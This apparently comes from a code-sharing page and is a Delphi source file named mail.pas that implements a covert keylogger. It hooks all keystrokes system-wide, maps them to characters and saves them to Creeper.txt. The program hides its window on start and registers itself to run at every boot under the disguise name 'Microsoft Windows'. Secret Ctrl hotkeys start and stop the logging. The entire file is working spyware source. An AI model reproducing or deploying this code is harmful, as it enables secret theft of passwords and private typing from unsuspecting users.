📄 mail.pas
字号:
unit mail;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, StdCtrls, Buttons,ShellAPI,registry, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
PageControl1: TPageControl;
TabSheet2: TTabSheet;
Memo1: TMemo;
TabSheet3: TTabSheet;
Memo2: TMemo;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
procedure yhbhotkey(var msg:TMessage); message WM_HOTKEY;//定义热键
function Keyhookresult(lP: integer; wP: integer): pchar;//定义键盘钩子
public
{ Public declarations }
end;
var
Form1: TForm1;
hookkey: string;
hHook: integer;
str:array[0..19] of char;
Creeper:TextFile;
id,id2,id3,id4:Integer;
implementation
{$R *.dfm}
function TForm1.Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := '[Print Screen]';
case lp of
10688: result := '`';
561: Result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'Q';
4439: result := 'W';
4677: result := 'E';
4946: result := 'R';
5204: result := 'T';
5465: result := 'Y';
5717: result := 'U';
5961: result := 'I';
6223: result := 'O';
6480: result := 'P';
6875: result := '[';
7133: result := ']';
11228: result := '\';
7745: result := 'A';
8019: result := 'S';
8260: result := 'D';
8518: result := 'F';
8775: result := 'G';
9032: result := 'H';
9290: result := 'J';
9547: result := 'K';
9804: result := 'L';
10170: result := ';';
10462: result := '''';
11354: result := 'Z';
11608: result := 'X';
11843: result := 'C';
12118: result := 'V';
12354: result := 'B';
12622: result := 'N';
12877: result := 'M';
13244: result := ',';
13502: result := '.';
13759: result := '/';
13840: result := '[Right-Shift]';
14624: result := '[Space]';
283: result := '[Esc]';
15216: result := '[F1]';
15473: result := '[F2]';
15730: result := '[F3]';
15987: result := '[F4]';
16244: result := '[F5]';
16501: result := '[F6]';
16758: result := '[F7]';
17015: result := '[F8]';
17272: result := '[F9]';
17529: result := '[F10]';
22394: result := '[F11]';
22651: result := '[F12]';
10768: Result := '[Left-Shift]';
14868: result := '[CapsLock]';
3592: result := '[Backspace]';
3849: result := '[Tab]';
7441:
if wp > 30000 then
result := '[Right-Ctrl]'
else
result := '[Left-Ctrl]';
13679: result := '[Num /]';
17808: result := '[NumLock]';
300: result := '[Print Screen]';
18065: result := '[Scroll Lock]';
17683: result := '[Pause]';
21088: result := '[Num0]';
21358: result := '[Num.]';
20321: result := '[Num1]';
20578: result := '[Num2]';
20835: result := '[Num3]';
19300: result := '[Num4]';
19557: result := '[Num5]';
19814: result := '[Num6]';
18279: result := '[Num7]';
18536: result := '[Num8]';
18793: result := '[Num9]';
19468: result := '[*5*]';
14186: result := '[Num *]';
19053: result := '[Num -]';
20075: result := '[Num +]';
21037: result := '[Insert]';
21294: result := '[Delete]';
18212: result := '[Home]';
20259: result := '[End]';
18721: result := '[PageUp]';
20770: result := '[PageDown]';
18470: result := '[UP]';
20520: result := '[DOWN]';
19237: result := '[LEFT]';
19751: result := '[RIGHT]';
7181: result := '[Enter]';
end;
end;
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
if length(hookkey) > 0 then
begin
Form1.Memo1.Text:=hookkey ;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
const K = '\Software\Microsoft\Windows\CurrentVersion\Run';
begin
Application.ShowMainForm:=False; //不显示主窗口
//SetWindowPos( Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_SHOWWINDOW); //总在窗口最上面
AssignFile(Creeper, 'Creeper.txt');
if FileExists('Creeper.txt')=false then
ReWrite(Creeper);
append(Creeper);
closefile(Creeper);
hHook := 0;
id:=GlobalAddAtom('hotkey');
RegisterHotKey(handle,id,mod_control,88);
id2:=GlobalAddAtom('hotkey2');
RegisterHotKey(handle,id2,mod_control,89);
id3:=GlobalAddAtom('hotkey3');
RegisterHotKey(handle,id3,mod_control,81);
id4:=GlobalAddAtom('hotkey4');
RegisterHotKey(handle,id4,mod_control,84);
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( k, TRUE );
WriteString( 'Microsoft Windows', Application.Exename );
finally
free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
UnHookWindowsHookEx(hHook);
hHook := 0;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
hide;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
show;
end;
procedure TForm1.yhbhotkey(var msg:TMessage); //定义热键
begin
if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=88) then
// 按Ctrl+X 显示程序界面
begin
show;
end;
if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=89) then
// 按Ctrl+Y 隐藏程序界面
begin
hide;
end;
if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=81) then
// 按Ctrl+Q 启动键盘记录
begin
Button1Click(nil);
end;
if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=84) then
// 按Ctrl+T 终止键盘记录
begin
Button2Click(nil);
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
s:string;
begin
UnRegisterHotKey(handle,id);
UnRegisterHotKey(handle,id2);
UnRegisterHotKey(handle,id3);
UnRegisterHotKey(handle,id4);
AssignFile(Creeper, 'Creeper.txt');
if FileExists('Creeper.txt') then
append(Creeper);
try
s:=memo1.lines.Text ;
writeln(creeper,s);
finally
closefile(creeper);
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -